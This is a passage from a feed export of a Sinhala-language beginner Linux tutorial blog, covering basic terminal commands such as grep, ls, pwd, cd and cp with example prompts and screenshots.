&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;grep&lt;/b&gt;&lt;/u&gt;&lt;span style=&quot;color: black;&quot;&gt;text files වල අන්තර්ගතය පරීක්ෂා කල හැකි අති ප්‍රබල විධානයක් තමා grep කියන්නේ. මේ විධානය භාවිතයෙන් එකක ඇති වචන සොයා බලන්න පුලුවන්. හරියටම කිව්වොත් අපිට අවශ්‍යය වචනය පවතින එකක කුමන පේළියක තියෙනවද කියලා search කරගන්න පුලුවන්. මෙවැනි ප්‍රබල විධානයක් අපි මෙතුවක් භාවිතා කල වින්ඩෝස් වල පවා නැත.&lt;br /&gt;&lt;br /&gt;උදා:- අපි ඉස්සෙල්ලා නිර්මාණය කරගත්තු test නම් ටෙක්ස්ට් ෆයිල් එකේ easy කියන වචනය තිබේද කියලා search කරගන්න ඕනේ කියලා හිතන්න.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;$ grep easy test&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;මේ විදිහට විධාන කලාම පහත රූපයේ පරිදි ප්‍රථිඵලය ලැබෙනවා.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5erDLiNXAg9TbdWoXBPVtXMtyPt_L9Z3RvMs8GRe5Kh467ODnmCBVHWGJ_jYyhac2dk2VkLPA5sG3EaB-9-ENhwRHhpJ6_B-CD_kxVwo6MJam620PnKW-nO2WhRvJEvf3qdbQlhB8eiw/s1600/grep.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;108&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5erDLiNXAg9TbdWoXBPVtXMtyPt_L9Z3RvMs8GRe5Kh467ODnmCBVHWGJ_jYyhac2dk2VkLPA5sG3EaB-9-ENhwRHhpJ6_B-CD_kxVwo6MJam620PnKW-nO2WhRvJEvf3qdbQlhB8eiw/s320/grep.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;මේ විදිහට අපිට ඕනෑම වචනයක් හෝ වාක්‍යය ඛණ්ඩයක් ඕනෑම ටෙක්ස්ට් ෆයිල් එකකින් සොයා ගන්න පුලුවන්.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;$ grep hello *.txt&lt;/span&gt;&lt;/span&gt; මේ විධානය මඟින් hello කියන වචනය තිබෙන සෑම ආකාරයේම .txt ෆයිල් වල search කරගන්න පුලුවන්.&lt;br /&gt;&lt;br /&gt;grep සමඟ භාවිතා කල හැකි විකල්ප විධාන බොහෝමයක් තියෙනවා. ඒ පිළිබඳ වැඩි විස්තර &lt;a href=&quot;http://linux.about.com/od/commands/l/blcmdl1_grep.htm&quot; target=&quot;_blank&quot;&gt;මෙතනින්&lt;/a&gt; ලබාගන්න පුලුවන් අතර මේ සියලු විධාන අත්හදා බැලීම ඔබට බාරයි.&lt;br /&gt;grep විධානය භාවිතා කිරීමට පුරුදු වීම ටර්මිනලයේ වැඩ කිරීමෙදී විශාල පහසුවක් ගෙනදේ. මෙය අසීරු වැඩක් බව මුලින්ම භාවිතා කරන්න පටන් ගද්දි හිතුනට වැඩ කරන් යද්දී කොච්චර ලේසී ප්‍රයෝජනවත් දෙයක්ද කියලා තේරෙයි.&lt;/li&gt;
&lt;/ul&gt;
&amp;nbsp;මේ විධාන කිහිපයත් අත්හදා බලන්න. අන්තර්ජාලය ඇසුරින් තව තවත් විස්තර සොයා බලා විවිධ අත්හදා බැලීම් කරන්න. එසේ සිදු කරන අත්හදා බැලීම් ඔබව ලිනක්ස් ප්‍රවීනයෙක් කරන්න බෙහෙවින් උපකාර වෙවී.&lt;br /&gt;
&lt;ul&gt;
&lt;/ul&gt;
</description><link>http://linux-sinhala.blogspot.com/2012/09/learn-linux-4.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4MLxu67aSW3jbUJlgcyjwrQRfAHp2jZwIo7luPrSY8Yg8FBceNBaQbSOVimS7k6CMJ6tN2YBWxJSi1_ZiP89yNu-2FHrEDz0R-JbniJtbhw5uWvptO4xqDLK2WdD876aQ-ceIFikIaeQ/s72-c/sfile.png" height="72" width="72"/><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-1119664629051074590</guid><pubDate>Tue, 18 Sep 2012 19:20:00 +0000</pubDate><atom:updated>2012-10-08T19:59:22.480+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Basic</category><category domain="http://www.blogger.com/atom/ns#">commands</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Sinhala Linux</category><category domain="http://www.blogger.com/atom/ns#">මූලික සංකල්ප</category><title>ලිනක්ස් විධාන. - ලිනක්ස් පාඩම් මාලාව #3</title><description>&lt;br /&gt;
&lt;br /&gt;
බොහෝ දෙනාට නම් මේ Command prompt එකේ වැඩ කරලා පුරුදු නැතුව ඇති. ඒත් ලිනක්ස් වලින් වැඩ කරන කෙනෙක් නම් එදිනෙදා වැඩ කරගන්න පවා මේ command prompt එක එහෙමත් නැත්තම් ටර්මිනල් (Terminal) එක හොඳට භාවිතා කරලා පුරුදු ඇති. අද අපි ඉගෙන ගන්න යන්නේ Commands හෙවත් විධාන. මූලික විධාන කිහිපයක් ගැන අපි කථා කරමු. කිව්වට විශ්වාස කරන්න මේ ටික හොඳට පුරුදු වුනාම හැම වැඩක්ම ටර්මිනල් එකෙන්ම කරන්න හිතෙයි. ලිනක්ස් විධාන වලින් වැඩ කිරීම ඒ තරම්ම විනෝදජනක ලේසි වැඩක්.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
අපි මුලින්ම බලමු ලිනක්ස් විධාන වල මූලික format එක.&lt;br /&gt;
&lt;br /&gt;
$ command -options targets&lt;br /&gt;
&lt;br /&gt;
මේක තමා ලිනක්ස් වල මූලික විධන ස්වරූපය. තේරෙන්නේ නෑ නේද..? කලබල වෙන්න එපා. මෙතන මේ command කියලා කියන්නේ අපි ලබාදෙන විධානය, option කියලා කියන්නේ ඒ විධානයටම එකතු වෙන්න ඕනේ අමතර විකල්ප විධාන, target කියලා කියන්නේ මේ විධානය ක්‍රියාත්මක වෙන්න ඕනේ මොකටද.. එහෙමත් නැත්තම් මොන ෆයිල් එකටද කියලා කියන එක. මේක තේරෙන්නේ නැති වෙයි අපි උදාහරණ වලින්ම මේක තේරුම් ගන්න බලමු.&lt;br /&gt;
&lt;br /&gt;
අද බ්ලොග් එක කියවන එකට අමතරව කියවන ගමන්ම කරන්න වැඩත් තියෙනවා. එහෙනම් දැන් ඔබේ පද්ධතියේ ටර්මිනල් එක විවෘත කරගන්න. ඔබට මෙවැනි ටර්මිනල් එකක් ලැබෙනවා ඇති.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpxWGh_bwrfwUO6vEx9_R1Kx8l4o2B5iwMGDIV2f_aGqmeAxOj_m6KwqMe5XJ1VUR3-P2rvW2V_gc8zRzpf5ZnGvhQJpbGfrJpl3nnxANe8_Ik2oD3VJKDaVZNcz6yu4HdWNFmqQPMAR8/s1600/terminal.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;218&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpxWGh_bwrfwUO6vEx9_R1Kx8l4o2B5iwMGDIV2f_aGqmeAxOj_m6KwqMe5XJ1VUR3-P2rvW2V_gc8zRzpf5ZnGvhQJpbGfrJpl3nnxANe8_Ik2oD3VJKDaVZNcz6yu4HdWNFmqQPMAR8/s320/terminal.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;subo@ubuntu:~$&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;මෙතන මේ subo කියලා කියන්නේ දැන් පද්ධතිය භාවිතා කරන පරිශීලකයාගේ නම. එකට පස්සේ තියෙන්නේ පද්ධතියේ නම. මං මේ වෙලාවේ භාවිතා කරන්නේ උබුන්ටු නිසා මේක ubuntu කියලා තියෙන්නේ. :~$ ලකුණෙන් පෙන්නන්නේ මං දැන් ඉන්නේ home ෆෝල්ඩරයේ කියලා. ඒ කියන්නේ මං දැන් ඉන්නේ කියන /home/subo/ ගොනුවේ. ඔයාලා රූට් එකේ ඉන්නවා නම් මේක :/$ විදිහට වෙනස් වෙනවා. දැන් ටර්මිනල් එක ගැන මූලික වැටහීමක් ඇතිනේ. අපි දැන් බලමු විධාන ගැන.&lt;br /&gt;
&amp;nbsp;අද කථා කරන්නේ මූලිකම විධාන කිහිපයක් විතරයි. තව තව ප්‍රයෝජනවත් විධාන ගැන අපි ටිකෙන් ටික කථා කරමු.&lt;br /&gt;
&amp;nbsp;වැඩේ පටන් ගන්න කලින් කියන්න ඕනේ සියලුම ලිනක්ස් විධාන case sensitve ඒ කියන්නේ කැපිටල් සිම්පල් බේදය තියෙනවා. කැපිටල් වලින් තියෙන විධානයක් හා සිම්පල් වලින් තියෙන විධානයක් යනු සහමුලින්ම එකිනෙකට වෙනස් විධාන වේ. අත්හදා බැලීමට ඔබට මම විසින් භාවිතා කර ඇති විධාන copy &amp;amp; paste කිරීම සිදු කල හැකිය.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp0shHnYyg2JAAOPlSy1A2vszjh0V7kIsi_M3DkW8PDhI12i_S8DFq3u-DqSD-lzxOmYnSxKuyTVsDkgMHJ4X2-2cANBNRBSxdtiBfj3qMasdfdJvJCkTSbLMfVIKfpdzFg1CQO9dyoyU/s1600/pwd.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;ls&lt;br /&gt;&lt;span style=&quot;color: black;&quot;&gt;ls = list&lt;br /&gt;ls විධානයෙන් අපිට ලයිස්තුවක් list බලන්න පුලුවන්. ඔබට ඔබ දැන් ඉන්න ෆෝල්ඩරයේ තිබෙන්නේ මොනවාදැයි බැලීමට අවශ්‍යය නම් විධානය භාවිතා කරන්න. මෙය වින්ඩොස් කමාන්ඩ් ලයින් එකේ dir විධානයට සමාන වේ. dir විධානයද ලිනස්ක් වල භාවිතා කල හැකිය. &lt;/span&gt;&lt;/span&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3BJefgsQKNyhYLqdBjXCIhiO-dpugn1wYGWDEdr4ha6ztRQXi6ebGoFhzlpMfB2EobR_nbwrFqntCkLMp-C7aYOhn8bHId6vDjiXbA5FbhCPFsC5Ec2LUDTLvcFlapvv2d7W2pinRPyg/s1600/screenshot-20120918_2028.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigjhrTkSwZSpnBhioRTJzlSx7Y7XgaUVjZH4UPSDFvL6HyR_6RVdRyIPtOhjomOW2_URCEM8doLAHTgRW2Rd736mifdCbXOlFwUd9QNeH1xmDWIq7zU5Gz68yq8JusYWXjo0KFAtmR8VI/s1600/ls-a.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPrZhz59pDBCBfHcfKhh-NXkwcHFRxkaU0D8hE0tqDjpxMqPIrz81V_PjjqA-BFjwtCP8qg4JqGg6ioJ245kKyd-9a2oOgBpRh-VktZZqwd-65t8B2Baj-S7OZ7VSyYM8s6191HrnxYV4/s1600/ls-l.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;u&gt;&lt;b&gt;ls&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;මෙමඟින් අපි දැන් වැඩ කරන ෆෝල්ඩරයේ ඇති ෆයිල් හා ෆෝල්ඩර ලයිස්තුවක් ලැබේ.&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3BJefgsQKNyhYLqdBjXCIhiO-dpugn1wYGWDEdr4ha6ztRQXi6ebGoFhzlpMfB2EobR_nbwrFqntCkLMp-C7aYOhn8bHId6vDjiXbA5FbhCPFsC5Ec2LUDTLvcFlapvv2d7W2pinRPyg/s1600/screenshot-20120918_2028.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;123&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3BJefgsQKNyhYLqdBjXCIhiO-dpugn1wYGWDEdr4ha6ztRQXi6ebGoFhzlpMfB2EobR_nbwrFqntCkLMp-C7aYOhn8bHId6vDjiXbA5FbhCPFsC5Ec2LUDTLvcFlapvv2d7W2pinRPyg/s320/screenshot-20120918_2028.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;ls&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
මේ නිල් පාටින් පෙන්නන්නේ ෆෝල්ඩර වන අතර සුදු පැහැයෙන් සාමන්‍යය ෆයිල්ද කොළ පාටින් ක්‍රියාත්මක කල හැකි වැඩසටහන්ද පෙන්වයි. මෙම වර්ණ වෙනස් කර ගැනීමද සිදු කල හැකිය.&lt;/li&gt;
&lt;li&gt;&lt;u&gt;&lt;b&gt;ls -a&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;ඍණ (-) ලකුණකට පස්සේ අපිට අවශ්‍යය විකල්ප විධාන දෙන්න පුලුවන් කියලා කලින් සඳහන් කරානේ. මේ කරලා තියෙන්නේ ඒක තමා. මෙම විකල්පයෙන් දැන් සිටින ෆෝල්ඩරයේ සියලුම ෆයිල් සහ ෆෝල්ඩර ලයිස්තුවක් ලැබේ. සැඟවූ ෆයිල්ස් හා ෆෝල්ඩරද බැලිය හැකිය.&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigjhrTkSwZSpnBhioRTJzlSx7Y7XgaUVjZH4UPSDFvL6HyR_6RVdRyIPtOhjomOW2_URCEM8doLAHTgRW2Rd736mifdCbXOlFwUd9QNeH1xmDWIq7zU5Gz68yq8JusYWXjo0KFAtmR8VI/s1600/ls-a.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;205&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigjhrTkSwZSpnBhioRTJzlSx7Y7XgaUVjZH4UPSDFvL6HyR_6RVdRyIPtOhjomOW2_URCEM8doLAHTgRW2Rd736mifdCbXOlFwUd9QNeH1xmDWIq7zU5Gz68yq8JusYWXjo0KFAtmR8VI/s320/ls-a.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;ls -a&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/li&gt;
&lt;li&gt;&lt;u&gt;&lt;b&gt;ls -l&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;මෙතනදී භාවිතා කරන්නේ l කියන විකල්ප විධානයයි. මෙමඟින් අප දැන් වැඩ කරන ෆෝල්ඩරයේ ෆයිල්ස් හා ෆෝල්ඩර වල අවසර සැකසීම (Permission) පරික්ෂා කල හැකිය. මෙම ලිනක්ස් අවසර සැකසීම පිළිබඳ වෙනමම ලිපියකින් සාකච්ඡා කිරීමට බලාපොරොත්තු වෙමි.&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPrZhz59pDBCBfHcfKhh-NXkwcHFRxkaU0D8hE0tqDjpxMqPIrz81V_PjjqA-BFjwtCP8qg4JqGg6ioJ245kKyd-9a2oOgBpRh-VktZZqwd-65t8B2Baj-S7OZ7VSyYM8s6191HrnxYV4/s1600/ls-l.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;277&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPrZhz59pDBCBfHcfKhh-NXkwcHFRxkaU0D8hE0tqDjpxMqPIrz81V_PjjqA-BFjwtCP8qg4JqGg6ioJ245kKyd-9a2oOgBpRh-VktZZqwd-65t8B2Baj-S7OZ7VSyYM8s6191HrnxYV4/s320/ls-l.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;ls -l&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;pwd&lt;/span&gt;&lt;br /&gt;pwd = print working directory&lt;br /&gt;මෙම විධානය භාවිතා කිරීමෙන් අපි මේ මොහොතේ වැඩ කරනා ෆෝල්ඩරය සොයාගත හැකිය. සමහර අවස්ථා වල ටර්මිනල් එක භාවිත කරමින් සංකීර්ණ වැඩ කරගැනීමේදි මෙම විධානය ප්‍රයෝජනවත් වේ.&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp0shHnYyg2JAAOPlSy1A2vszjh0V7kIsi_M3DkW8PDhI12i_S8DFq3u-DqSD-lzxOmYnSxKuyTVsDkgMHJ4X2-2cANBNRBSxdtiBfj3qMasdfdJvJCkTSbLMfVIKfpdzFg1CQO9dyoyU/s1600/pwd.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp0shHnYyg2JAAOPlSy1A2vszjh0V7kIsi_M3DkW8PDhI12i_S8DFq3u-DqSD-lzxOmYnSxKuyTVsDkgMHJ4X2-2cANBNRBSxdtiBfj3qMasdfdJvJCkTSbLMfVIKfpdzFg1CQO9dyoyU/s1600/pwd.png&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;pwd&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;cd&lt;br /&gt;&lt;span style=&quot;color: black;&quot;&gt;cd = &lt;span class=&quot;st&quot;&gt;change directory&lt;br /&gt;එනම් ෆෝල්ඩර අතර මාරු වීමට මෙම විධානය යොදා ගනී. උදාහරණ ලෙස ඔබට ඔබේ home ෆෝල්ඩරයේ ඇති Music ෆෝල්ඩරයට පිවිසීමට අවශ්‍යය නම් ඔබ cd Music ලෙස විධාන කල යුතුවේ. මෙය ඉතා ප්‍රබල එමෙන්ම නිරන්තරයෙන් භාවිතා කිරීමට සිදු වන විධනයකි. එම නිසා මෙම විධානය භාවිතා කරන ආකරය පිළිබඳ උදාහරණ කිහිපයක් පහත පරිදි දක්වන්නම්.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;ul&gt;
&lt;li&gt;&lt;u&gt;&lt;b&gt;යම් ගොනුවක් තුල පවතින උප ගොනු වලට මාරු වීම.&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;උදාහරණයක් ලෙස මෙසේ ඔබේ home ගොනුවේ ඇති Documents ගොනුව තුල ඇති foo නම් ගොනුවක් ගැන සිතන්න. ඔබට මෙම ගොනුවට පිවිසීමට ක්‍රම 2ක් භාවිතා කල හැකිය.&lt;br /&gt;&lt;ol&gt;
&lt;li&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;span style=&quot;background-color: black;&quot;&gt;:~$ cd Documents/&lt;br /&gt;:~/Documents$&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;span style=&quot;background-color: black;&quot;&gt; cd foo&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;මෙසේ දෙවතාවක් cd විධානය භාවිතා කිරීමෙන්ද, හෝ&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;:~$ cd Documents/foo&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;මෙසේ එකවරම cd විධානය භාවිතා කිරීමෙන් ඔබට මෙම කාර්යය කරගැනීමටද පුලුවනි.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;u&gt;&lt;b&gt;උප ගොනුවක සිට නැවත මුල් ගොනුවට යෑම.&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;දැන් ඔබ සිටින්නේ Documents/foo ගොනුවේ නම් ඔබේ ටර්මිනලය දිස්වන්නේ මේ ආකාරයටය.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;:~/Documents/foo$&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ඔබට නැවත Documents ගොනුවට යාමට අවශ්‍යය නම් ඔබ පහත පරිදි විධාන කල යුතුවේ.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;~/Documents/foo$ cd ../&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ගොනුවේ සිට නැවත කෙලින්ම home ගොනුවට මාරු වීමට අවශ්‍යය නම් එකවර මෙලෙස විධාන කිරීම වඩා ලේසී.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;:~/Documents/foo$ cd ../../&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;දැන් ඔබට වැටහෙනවා ඇති ../ මඟින් එක ගොනුවක් ආපස්සටද, ../../ මඟින් ගොනු 2ක් ආපස්සටද යනාදී වශයෙන් පෙර ගොනු වලට නැවත මාරු විය හැකි බවට. ../../../../ ලෙස ඕනෑ තරමක් ආපස්සට මාරු විය හැකිය.&lt;/li&gt;
&lt;li&gt;&lt;u&gt;&lt;b&gt;home ගොනුවට මාරු වීම.&lt;/b&gt;&lt;/u&gt;ඔබ කුමන ගොනුවක වැඩ කරමින් සිටියත්, ඔබට home ගොනුවට යෑමට අවශ්‍යය වූ විට &lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;cd&lt;/span&gt;&lt;/span&gt; කියලා විධාන කිරීම ප්‍රමාණවත් වේ. තවද &lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;cd ~/&lt;/span&gt;&lt;/span&gt; යනුවෙන් විධාන කළ විටද home ගොනුවට මාරු වීම සිදුවේ.&lt;/li&gt;
&lt;li&gt;&lt;u&gt;&lt;b&gt;root ගොනුවට මාරු වීම.&lt;/b&gt;&lt;/u&gt;ඔබට රූට් ගොනුවට මරු වීමට අවශ්‍යය නම් ඔබ විධාන කල යුත්තේ &lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;cd /&lt;/span&gt;&lt;/span&gt; ලෙසය. කුමන ගොනුවක වැඩ කරමින් සිටියත් මෙම විධානය ලබා දීමෙන් එකවරම රූට් ගොනුවට මාරු වීමට හැකිය.&lt;u&gt;&lt;b&gt;&lt;/b&gt;&lt;/u&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;මෙසේ ගොනු අතර මාරු වීම පැටලිලි සහගත නම් නැවත &lt;a href=&quot;http://linux-sinhala.blogspot.com/2012/09/learn-linux-2.html&quot; target=&quot;_blank&quot;&gt;ලිනක්ස් පද්ධතියක ගොනු නිර්මිතය&lt;/a&gt; පාඩම බලන්න.&lt;/span&gt;&lt;/i&gt;&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;cp&lt;br /&gt;&lt;span style=&quot;color: black;&quot;&gt;cp = copy&lt;br /&gt;මෙම විධානය භාවිතා කරන්නේ ෆයිල් පිටපත් කිරීම සඳහායි. මෙම විධානයත් නිරන්තරයෙන් භාවිතා කරන විධානයක් නිසා මෙය භාවිතා කරන ආකාරය ගැන උදාහරණ කිහිපයක් දෙන්නම්.&lt;/span&gt;&lt;/span&gt;&lt;ul&gt;
&lt;li&gt;&lt;u&gt;&lt;b&gt;ෆයිල් එකක් වෙනත් නමකින් පිටපත් කරගැනීම.&lt;/b&gt;&lt;/u&gt;අපි හිතමු අපේ home ගොනුවේ කියලා foo ෆයිල් එකක් තියෙනවා අපිට ඒකම bar කියලා කොපි කරගන්න ඕනේ කියලා.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;:~$ cp foo bar&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;දැන් ls විධානය ගහලා බලන්න කියලා තවත් ෆයිල් එකක් හැදිලා ඇති.&lt;br /&gt;මෙම cp විධානය භාවිතා කරන සාමන්‍යය ආකාරය තමා&lt;br /&gt;cp file_name new__name එනම් cp විධානයට පස්සේ අපිට කොපි කරගන්න ඕනේ ෆයිල් එකේ නමයි ඊට පස්සේ අපි අලුතින් කොපි කරගත්ත ෆයිල් එකට දෙන්න ඕනේ නමයි දෙන එක.&lt;/li&gt;
&lt;li&gt;&lt;u&gt;&lt;b&gt;වෙනත් ගොනුවක ඇති ෆයිල් එකක් පිටපත් කිරීම.&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;උදහරණයකට හිතන්න බලන්න මගේ /home/subo/Documents/ ෆෝල්ඩරයේ තියෙන foo කියන ෆයිල් එක /home/subo/Music ෆෝල්ඩරයට කොපි කරන්න ඕනේ කියලා. මේක කරන්න පුලුවන් ආකාර 3ක් තියෙනවා. &lt;br /&gt;&lt;br /&gt;&lt;ol&gt;
